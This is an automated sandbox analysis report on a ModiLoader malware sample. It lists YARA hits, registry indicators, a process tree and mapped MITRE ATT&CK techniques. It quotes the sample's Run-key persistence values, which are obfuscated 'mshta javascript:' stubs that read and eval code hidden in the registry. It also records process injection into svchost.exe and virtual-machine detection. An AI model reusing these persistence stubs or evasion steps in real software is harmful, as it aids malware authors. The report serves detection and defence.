modiloader | cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	svchost.exe

ModiLoader Second Stage 44 IoCs

resource	yara_rule
behavioral2/memory/4820-3-0x0000000000400000-0x0000000000435000-memory.dmp	modiloader_stage2
behavioral2/memory/4820-5-0x0000000000400000-0x0000000000435000-memory.dmp	modiloader_stage2
behavioral2/memory/4820-7-0x0000000000400000-0x0000000000435000-memory.dmp	modiloader_stage2
behavioral2/memory/376-13-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-15-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-17-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-16-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-14-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-18-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-19-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-20-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-21-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-22-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/3220-30-0x0000000000800000-0x00000000008BA000-memory.dmp	modiloader_stage2
behavioral2/memory/3220-29-0x0000000000800000-0x00000000008BA000-memory.dmp	modiloader_stage2
behavioral2/memory/3220-28-0x0000000000800000-0x00000000008BA000-memory.dmp	modiloader_stage2
behavioral2/memory/3220-27-0x0000000000800000-0x00000000008BA000-memory.dmp	modiloader_stage2
behavioral2/memory/3220-26-0x0000000000800000-0x00000000008BA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-35-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-39-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-38-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-37-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-36-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-34-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-33-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-32-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-31-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/4576-44-0x0000000000580000-0x000000000063A000-memory.dmp	modiloader_stage2
behavioral2/memory/4576-47-0x0000000000580000-0x000000000063A000-memory.dmp	modiloader_stage2
behavioral2/memory/4576-46-0x0000000000580000-0x000000000063A000-memory.dmp	modiloader_stage2
behavioral2/memory/4576-45-0x0000000000580000-0x000000000063A000-memory.dmp	modiloader_stage2
behavioral2/memory/4576-50-0x0000000000580000-0x000000000063A000-memory.dmp	modiloader_stage2
behavioral2/memory/376-57-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-59-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-63-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-62-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-61-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-60-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-58-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-56-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-64-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-65-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-67-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2
behavioral2/memory/376-69-0x0000000000C00000-0x0000000000CBA000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:RXFdN8O=\"ShqPt\";k20d=new%20ActiveXObject(\"WScript.Shell\");h2xenuC1Zo=\"H\";gZd3m=k20d.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\ae433454\\\\ca06c13f\");CiodsmC2g=\"EO6V\";eval(gZd3m);LjTAF6I=\"AC\";"	svchost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	svchost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost.exe

Deletes itself 1 IoCs

pid	Process
376	svchost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Us2Pu3yG=\"OSu\";FX0=new%20ActiveXObject(\"WScript.Shell\");yHFLN6W1u=\"4eV680Fia\";w7fQO1=FX0.RegRead(\"HKCU\\\\software\\\\ae433454\\\\ca06c13f\");LFo3EcFcc=\"ariLi7J7jD\";eval(w7fQO1);UURspvO3X=\"5\";"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:VQ5VbVDP=\"Nz8m\";j81A=new%20ActiveXObject(\"WScript.Shell\");KPDFg8C1I=\"mM98paWq\";b9o7bd=j81A.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\ae433454\\\\ca06c13f\");tqPL37Xs=\"mQQt\";eval(b9o7bd);wgGXZ7s=\"Df\";"	svchost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3980 set thread context of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\International	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe
376	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 3980 wrote to memory of 4820	3980	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	82
PID 4820 wrote to memory of 376	4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	83
PID 4820 wrote to memory of 376	4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	83
PID 4820 wrote to memory of 376	4820	cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe	83
PID 376 wrote to memory of 3220	376	svchost.exe	84
PID 376 wrote to memory of 3220	376	svchost.exe	84
PID 376 wrote to memory of 3220	376	svchost.exe	84
PID 376 wrote to memory of 4576	376	svchost.exe	85
PID 376 wrote to memory of 4576	376	svchost.exe	85
PID 376 wrote to memory of 4576	376	svchost.exe	85

C:\Users\Admin\AppData\Local\Temp\cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
"C:\Users\Admin\AppData\Local\Temp\cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3980
- C:\Users\Admin\AppData\Local\Temp\cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe
  "C:\Users\Admin\AppData\Local\Temp\cd22ac4b3900f7ec6f4eeb84a92cd8522a0a630344ffac5ff73427419af1ec9e.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\SysWOW64\svchost.exe
    "svchost.exe"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Adds policy Run key to start application
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Adds Run key to start application
    - Maps connected drives based on registry
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:376
  - - C:\Windows\SysWOW64\svchost.exe
      "C:\Windows\SysWOW64\svchost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3220
  - - C:\Windows\SysWOW64\explorer.exe
      "explorer.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion